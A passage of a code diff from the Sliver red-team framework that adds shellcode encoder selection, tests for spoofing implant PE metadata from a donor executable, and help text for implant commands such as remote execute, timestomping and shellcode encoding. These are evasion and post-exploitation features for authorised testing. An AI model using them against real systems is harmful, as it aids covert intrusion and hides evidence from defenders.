con.PrintErrorf("No shellcode encoders are available for arch %s\n", normalizeShellcodeArch(profile.Config.GOARCH))
|
||||
} else {
|
||||
con.PrintErrorf("Unsupported shellcode encoder %q for arch %s (valid: %s)\n", rawEncoder, normalizeShellcodeArch(profile.Config.GOARCH), strings.Join(compatible, ", "))
|
||||
}
|
||||
return
|
||||
}
|
||||
profile.Config.ShellcodeEncoder = encoder
|
||||
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
}
|
||||
}
|
||||
_, err := compile(implantName, profile.Config, save, con)
|
||||
_, err := compile(implantName, profile.Config, nil, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -165,10 +165,21 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
|
||||
properties["obsymbols"] = "disabled"
|
||||
}
|
||||
|
||||
if config.SGNEnabled {
|
||||
properties["sgn"] = "enabled"
|
||||
} else {
|
||||
properties["sgn"] = "disabled"
|
||||
properties["shellcodeencoder"] = "n/a"
|
||||
if config.Format == clientpb.OutputFormat_SHELLCODE {
|
||||
encoder := config.ShellcodeEncoder
|
||||
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
|
||||
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
}
|
||||
properties["shellcodeencoder"] = map[clientpb.ShellcodeEncoder]string{
|
||||
clientpb.ShellcodeEncoder_NONE: "none",
|
||||
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
|
||||
clientpb.ShellcodeEncoder_XOR: "xor",
|
||||
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
|
||||
}[encoder]
|
||||
if properties["shellcodeencoder"] == "" {
|
||||
properties["shellcodeencoder"] = fmt.Sprintf("unknown (%d)", int32(encoder))
|
||||
}
|
||||
}
|
||||
|
||||
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
|
||||
@@ -311,8 +322,8 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
|
||||
properties["obsymbols"],
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Shikata Ga Nai (SGN) is",
|
||||
properties["sgn"],
|
||||
"Shellcode encoder is",
|
||||
properties["shellcodeencoder"],
|
||||
})
|
||||
|
||||
con.PrintInfof("Obfuscation\n")
|
||||
|
||||
@@ -0,0 +1,193 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestParseSpoofMetadataFlagDefaultOff(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||
}
|
||||
if spoofMetadata != nil {
|
||||
t.Fatal("expected spoof metadata to be nil when flag is not set")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagNoArgUsesConfig(t *testing.T) {
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName}); err != nil {
|
||||
t.Fatalf("ParseFlags() error: %v", err)
|
||||
}
|
||||
rootDir := os.Getenv("SLIVER_CLIENT_ROOT_DIR")
|
||||
configPath := filepath.Join(rootDir, "spoof-metadata.yaml")
|
||||
sourceData := []byte{0x01, 0x02, 0x03}
|
||||
configData := "pe:\n source:\n name: donor.exe\n base64: " + base64.StdEncoding.EncodeToString(sourceData) + "\n"
|
||||
if err := os.WriteFile(configPath, []byte(configData), 0o600); err != nil {
|
||||
t.Fatalf("write spoof metadata config: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||
}
|
||||
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||
t.Fatal("expected spoof metadata source from config file")
|
||||
}
|
||||
if got := spoofMetadata.GetPE().GetSource().GetData(); string(got) != string(sourceData) {
|
||||
t.Fatalf("source data mismatch: got=%x want=%x", got, sourceData)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagPathFromPositionalArg(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
|
||||
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName, sourcePath}); err != nil {
|
||||
t.Fatalf("ParseFlags() error: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||
}
|
||||
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||
t.Fatal("expected spoof metadata source from positional path")
|
||||
}
|
||||
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
|
||||
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagPathRejectsNonWindowsTarget(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
sourcePath := writeTempFile(t, "not-pe.bin", []byte("abc"))
|
||||
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||
t.Fatalf("set flag: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "linux",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
_, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for non-windows target")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "supports only windows PE targets") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagPathChecksMachine(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
sourcePath := goPEFixturePath(t, "gcc-386-mingw-exec")
|
||||
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||
t.Fatalf("set flag: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
_, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err == nil {
|
||||
t.Fatal("expected machine mismatch error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "expected amd64") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSpoofMetadataFlagPathSuccess(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
|
||||
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||
t.Fatalf("set flag: %v", err)
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
}
|
||||
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||
if err != nil {
|
||||
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||
}
|
||||
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||
t.Fatal("expected spoof metadata source from path")
|
||||
}
|
||||
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
|
||||
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
|
||||
}
|
||||
if len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
|
||||
t.Fatal("expected non-empty source data")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpoofMetadataFlagUsageIsClean(t *testing.T) {
|
||||
cmd := newSpoofMetadataTestCommand(t)
|
||||
usage := cmd.Flags().FlagUsages()
|
||||
if !strings.Contains(usage, "--"+spoofMetadataFlagName) {
|
||||
t.Fatalf("expected usage to include spoof metadata flag, got: %s", usage)
|
||||
}
|
||||
if strings.Contains(usage, "string[=") {
|
||||
t.Fatalf("unexpected optional-string marker in usage: %s", usage)
|
||||
}
|
||||
if strings.Contains(usage, `[="`) {
|
||||
t.Fatalf("unexpected no-opt default rendering in usage: %s", usage)
|
||||
}
|
||||
}
|
||||
|
||||
func newSpoofMetadataTestCommand(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
cmd := &cobra.Command{Use: "test"}
|
||||
bindSpoofMetadataFlag(cmd.Flags())
|
||||
return cmd
|
||||
}
|
||||
|
||||
func writeTempFile(t *testing.T, name string, data []byte) string {
|
||||
t.Helper()
|
||||
path := filepath.Join(t.TempDir(), name)
|
||||
if err := os.WriteFile(path, data, 0o600); err != nil {
|
||||
t.Fatalf("write temp file: %v", err)
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func goPEFixturePath(t *testing.T, fixtureName string) string {
|
||||
t.Helper()
|
||||
fixturePath := filepath.Join(runtime.GOROOT(), "src", "debug", "pe", "testdata", fixtureName)
|
||||
if _, err := os.Stat(fixturePath); err != nil {
|
||||
t.Skipf("missing PE fixture %s: %v", fixturePath, err)
|
||||
}
|
||||
return fixturePath
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package generate
|
||||
|
||||
import "strings"
|
||||
|
||||
type spoofMetadataFlagValue struct {
|
||||
value string
|
||||
}
|
||||
|
||||
func newSpoofMetadataFlagValue() *spoofMetadataFlagValue {
|
||||
return &spoofMetadataFlagValue{}
|
||||
}
|
||||
|
||||
func (s *spoofMetadataFlagValue) Set(value string) error {
|
||||
value = strings.TrimSpace(value)
|
||||
switch strings.ToLower(value) {
|
||||
case "", "true":
|
||||
s.value = "true"
|
||||
case "false":
|
||||
s.value = "false"
|
||||
default:
|
||||
s.value = value
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *spoofMetadataFlagValue) String() string {
|
||||
return s.value
|
||||
}
|
||||
|
||||
func (s *spoofMetadataFlagValue) Type() string {
|
||||
return "bool"
|
||||
}
|
||||
|
||||
func (s *spoofMetadataFlagValue) IsBoolFlag() bool {
|
||||
return true
|
||||
}
|
||||
@@ -71,7 +71,7 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console
|
||||
allIDs = append(allIDs, encoder.ID)
|
||||
name := encoder.Wasm.Name
|
||||
if isDuplicate {
|
||||
name = fmt.Sprintf(console.Bold+console.Red+"%s (duplicate id)"+console.Normal, name)
|
||||
name = console.StyleBoldRed.Render(fmt.Sprintf("%s (duplicate id)", name))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
encoder.ID,
|
||||
@@ -212,9 +212,9 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest
|
||||
for _, test := range tests.Tests {
|
||||
var success string
|
||||
if test.Success {
|
||||
success = console.Bold + console.Green + "Passed" + console.Normal
|
||||
success = console.StyleBoldGreen.Render("Passed")
|
||||
} else {
|
||||
success = console.Bold + console.Red + "Failed!" + console.Normal
|
||||
success = console.StyleBoldRed.Render("Failed!")
|
||||
}
|
||||
errorMsg := "N/A"
|
||||
if test.Err != "" {
|
||||
@@ -234,7 +234,7 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest
|
||||
if running {
|
||||
con.Println()
|
||||
con.Println()
|
||||
con.Printf(console.Bold+" >>> Running test %d of %d please wait ...\r"+console.Normal, len(tests.Tests), tests.TotalTests)
|
||||
con.Printf("%s\r", console.StyleBold.Render(fmt.Sprintf(" >>> Running test %d of %d please wait ...", len(tests.Tests), tests.TotalTests)))
|
||||
lineCount += 2
|
||||
}
|
||||
|
||||
@@ -283,6 +283,10 @@ func SelectTrafficEncoder(con *console.SliverClient) string {
|
||||
}
|
||||
sort.Strings(encoderNames)
|
||||
var selectedEncoder string
|
||||
_ = forms.Select("Select a traffic encoder:", encoderNames, &selectedEncoder)
|
||||
err = forms.Select("Select a traffic encoder:", encoderNames, &selectedEncoder)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return ""
|
||||
}
|
||||
return selectedEncoder
|
||||
}
|
||||
@@ -23,12 +23,13 @@ package help
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"image/color"
|
||||
"strings"
|
||||
"text/template"
|
||||
|
||||
"charm.land/lipgloss/v2"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/theme"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -47,37 +48,45 @@ var (
|
||||
consts.GenerateStr: generateHelp,
|
||||
consts.StageListenerStr: stageListenerHelp,
|
||||
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.MsfStr: msfHelp,
|
||||
consts.MsfInjectStr: msfInjectHelp,
|
||||
consts.PsStr: psHelp,
|
||||
consts.PingStr: pingHelp,
|
||||
consts.KillStr: killHelp,
|
||||
consts.LsStr: lsHelp,
|
||||
consts.CdStr: cdHelp,
|
||||
consts.PwdStr: pwdHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
consts.DownloadStr: downloadHelp,
|
||||
consts.GrepStr: grepHelp,
|
||||
consts.HeadStr: headHelp,
|
||||
consts.TailStr: tailHelp,
|
||||
consts.UploadStr: uploadHelp,
|
||||
consts.MkdirStr: mkdirHelp,
|
||||
consts.RmStr: rmHelp,
|
||||
consts.ChtimesStr: chtimesHelp,
|
||||
consts.ProcdumpStr: procdumpHelp,
|
||||
consts.ElevateStr: elevateHelp,
|
||||
consts.RunAsStr: runAsHelp,
|
||||
consts.ImpersonateStr: impersonateHelp,
|
||||
consts.RevToSelfStr: revToSelfHelp,
|
||||
consts.ExecuteStr: executeHelp,
|
||||
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
|
||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
consts.MountStr: mountHelp,
|
||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||
|
||||
consts.WebsitesStr: websitesHelp,
|
||||
consts.ScreenshotStr: screenshotHelp,
|
||||
@@ -124,6 +133,28 @@ var (
|
||||
consts.C2ProfileStr + sep + consts.C2GenerateStr: c2GenerateHelp,
|
||||
}
|
||||
|
||||
executeHelp = `[[.Bold]]Command:[[.Normal]] execute <path to executable> [options] -- [args...]
|
||||
|
||||
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
|
||||
arguments are be separated from the sliver 'execute' arguments with '--'
|
||||
Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
|
||||
|
||||
[[.Bold]]Example:[[.Normal]]
|
||||
execute /bin/bash --env FOO=1 -- -c env
|
||||
|
||||
[*] Execute: /bin/bash [-c env]
|
||||
[*] Output:
|
||||
FOO=1
|
||||
PWD=/Users/moloch/git/sliver
|
||||
SHLVL=1
|
||||
_=/usr/bin/env
|
||||
`
|
||||
|
||||
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
|
||||
|
||||
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
|
||||
`
|
||||
|
||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||
[[.Bold]]About:[[.Normal]] Manage jobs/listeners.`
|
||||
|
||||
@@ -159,8 +190,8 @@ You can also stack the C2 configuration with multiple protocols:
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
|
||||
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
|
||||
with the --os and --format flags.
|
||||
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
|
||||
Linux ELF, and Linux shellcode (amd64/arm64). The output format is controlled with the --os and --format flags.
|
||||
|
||||
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
|
||||
generate --mtls foo.example.com
|
||||
@@ -176,6 +207,21 @@ To output a Linux ELF executable file, the following command would be used:
|
||||
generate --os linux --mtls foo.example.com
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
|
||||
When generating shellcode (--format shellcode), you can tune the shellcode generator:
|
||||
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
|
||||
--shellcode-compress # Enable aPLib compression (windows, macOS, and Linux)
|
||||
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
||||
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
||||
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
||||
--shellcode-headers 1|2 # (windows only) PE headers: 1=overwrite (default), 2=keep
|
||||
--shellcode-thread # (windows only) Unmanaged EXE: run entrypoint as a new thread
|
||||
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
|
||||
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
|
||||
|
||||
Note: macOS and Linux shellcode currently only support --shellcode-compress; other options are Windows-only.
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
|
||||
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
|
||||
This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt
|
||||
@@ -281,9 +327,39 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
rmHelp = `[[.Bold]]Command:[[.Normal]] rm [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Delete a remote file or directory.`
|
||||
|
||||
chtimesHelp = `[[.Bold]]Command:[[.Normal]] chtimes [--unix | --unix-ms | --rfc3339 | --rfc1123] <path> <atime> <mtime>
|
||||
[[.Bold]]About:[[.Normal]] Change access and modification times on a file (timestomp).
|
||||
|
||||
[[.Bold]][[.Underline]]Time Formats[[.Normal]]
|
||||
Default (datetime): "2006-01-02 15:04:05"
|
||||
--unix: 1704067200
|
||||
--unix-ms: 1704067200000
|
||||
--rfc3339: 2024-01-01T00:00:00Z
|
||||
--rfc1123: Mon, 02 Jan 2006 15:04:05 MST
|
||||
|
||||
[[.Bold]][[.Underline]]Examples[[.Normal]]
|
||||
chtimes /tmp/file "2024-01-01 12:34:56" "2024-01-01 12:35:56"
|
||||
chtimes --unix /tmp/file 1704112496 1704112556
|
||||
chtimes --unix-ms /tmp/file 1704112496000 1704112556000
|
||||
chtimes --rfc3339 /tmp/file 2024-01-01T12:34:56Z 2024-01-01T12:35:56Z
|
||||
chtimes --rfc1123 /tmp/file "Mon, 02 Jan 2006 15:04:05 MST" "Mon, 02 Jan 2006 16:04:05 MST"
|
||||
`
|
||||
|
||||
catHelp = `[[.Bold]]Command:[[.Normal]] cat <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
|
||||
|
||||
editHelp = `[[.Bold]]Command:[[.Normal]] edit <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Download a remote text file, edit it in a built-in TUI editor, and optionally upload changes.
|
||||
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l) and insert mode (i). Use :wq to save+quit or :q to quit.
|
||||
[[.Bold]]Syntax:[[.Normal]] Use --syntax <lexer> to force a lexer or --syntax-select to pick one interactively.
|
||||
[[.Bold]]Line Numbers:[[.Normal]] Use --line-numbers to start with line numbers on; toggle with :n.`
|
||||
|
||||
hexEditHelp = `[[.Bold]]Command:[[.Normal]] hex-edit [--max-size <size>] [--offset <byte offset>] <remote path>
|
||||
[[.Bold]]About:[[.Normal]] Download a remote file and edit it in a built-in hex editor, then optionally upload changes.
|
||||
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l). Use i for hex edit mode, a for ASCII edit mode, :wq to save+quit or :q to quit.
|
||||
[[.Bold]]Size Limit:[[.Normal]] Default max size is 8MB. Use --max-size to override (e.g., 512KB, 12MB).
|
||||
[[.Bold]]Offset:[[.Normal]] Use --offset to jump to a specific byte offset when opening the file.`
|
||||
|
||||
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
|
||||
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
@@ -361,13 +437,50 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
||||
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
||||
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
|
||||
converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
||||
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
||||
generate --format shellcode
|
||||
`
|
||||
shikataGaNaiHelp = `[[.Bold]]Command:[[.Normal]] shikata-ga-nai [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Encodes shellcode with Shikata Ga Nai. This uses the same backend implementation as
|
||||
[[.Bold]]shellcode-encoders encode[[.Normal]] with the shikata_ga_nai encoder, but exposes SGN-specific options
|
||||
like architecture, iterations, and bad characters.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
|
||||
Encode x64 shellcode with 3 iterations:
|
||||
shikata-ga-nai -a amd64 -i 3 /tmp/payload.bin
|
||||
|
||||
Avoid bad chars and write to a file:
|
||||
shikata-ga-nai -b 000a0d -s /tmp/payload.sgn /tmp/payload.bin
|
||||
|
||||
[[.Bold]]Related:[[.Normal]] shellcode-encoders encode --encoder shikata_ga_nai ...`
|
||||
|
||||
shellcodeEncodersHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders
|
||||
[[.Bold]]About:[[.Normal]] Lists the shellcode encoders supported by the server along with architectures and descriptions.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
|
||||
List encoders and supported architectures:
|
||||
shellcode-encoders
|
||||
`
|
||||
|
||||
shellcodeEncodersEncodeHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders encode [local path to raw shellcode]...
|
||||
[[.Bold]]About:[[.Normal]] Encodes one or more shellcode files using a server-side encoder. Encoder support depends on
|
||||
architecture; use [[.Bold]]shellcode-encoders[[.Normal]] to list valid combinations.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
|
||||
Encode a single file with shikata_ga_nai:
|
||||
shellcode-encoders encode --encoder shikata_ga_nai --arch amd64 /tmp/payload.bin
|
||||
|
||||
Encode multiple files and write outputs to a directory:
|
||||
shellcode-encoders encode --encoder xor --arch amd64 -o /tmp/out payload1.bin payload2.bin
|
||||
|
||||
Avoid bad characters with SGN:
|
||||
shellcode-encoders encode --encoder shikata_ga_nai --arch 386 -b 000a0d -o /tmp/encoded.bin /tmp/payload.bin
|
||||
`
|
||||
|
||||
migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <flags>
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <flags>.`
|
||||
@@ -1307,24 +1420,6 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
To get information about services, you need to be an authenticated user on the system or domain. To control services, you need administrator or higher privileges.`
|
||||
)
|
||||
|
||||
const (
|
||||
// ANSI Colors
|
||||
normal = "\033[0m"
|
||||
black = "\033[30m"
|
||||
red = "\033[31m"
|
||||
green = "\033[32m"
|
||||
orange = "\033[33m"
|
||||
blue = "\033[34m"
|
||||
purple = "\033[35m"
|
||||
cyan = "\033[36m"
|
||||
gray = "\033[37m"
|
||||
bold = "\033[1m"
|
||||
clearln = "\r\x1b[2K"
|
||||
upN = "\033[%dA"
|
||||
downN = "\033[%dB"
|
||||
underline = "\033[4m"
|
||||
)
|
||||
|
||||
// GetHelpFor - Get help string for a command
|
||||
func GetHelpFor(cmdName []string) string {
|
||||
if 0 < len(cmdName) {
|
||||
@@ -1335,34 +1430,100 @@ func GetHelpFor(cmdName []string) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
// FormatHelpTmpl - Applies format template to help string
|
||||
type helpStyleState struct {
|
||||
bold bool
|
||||
underline bool
|
||||
fgSet bool
|
||||
fg color.Color
|
||||
}
|
||||
|
||||
func (s *helpStyleState) reset() {
|
||||
s.bold = false
|
||||
s.underline = false
|
||||
s.fgSet = false
|
||||
s.fg = nil
|
||||
}
|
||||
|
||||
func (s *helpStyleState) apply(token string) bool {
|
||||
switch token {
|
||||
case "Normal":
|
||||
s.reset()
|
||||
case "Bold":
|
||||
s.bold = true
|
||||
case "Underline":
|
||||
s.underline = true
|
||||
case "Black":
|
||||
s.fgSet, s.fg = true, theme.DefaultMod(50)
|
||||
case "Red":
|
||||
s.fgSet, s.fg = true, theme.Danger()
|
||||
case "Green":
|
||||
s.fgSet, s.fg = true, theme.Success()
|
||||
case "Orange":
|
||||
s.fgSet, s.fg = true, theme.Warning()
|
||||
case "Blue":
|
||||
s.fgSet, s.fg = true, theme.Primary()
|
||||
case "Purple":
|
||||
s.fgSet, s.fg = true, theme.Secondary()
|
||||
case "Cyan":
|
||||
s.fgSet, s.fg = true, theme.PrimaryMod(500)
|
||||
case "Gray":
|
||||
// ANSI "gray" (37) is typically light; map to the lightest neutral.
|
||||
s.fgSet, s.fg = true, theme.DefaultMod(900)
|
||||
default:
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s helpStyleState) render(text string) string {
|
||||
if text == "" {
|
||||
return ""
|
||||
}
|
||||
st := lipgloss.NewStyle()
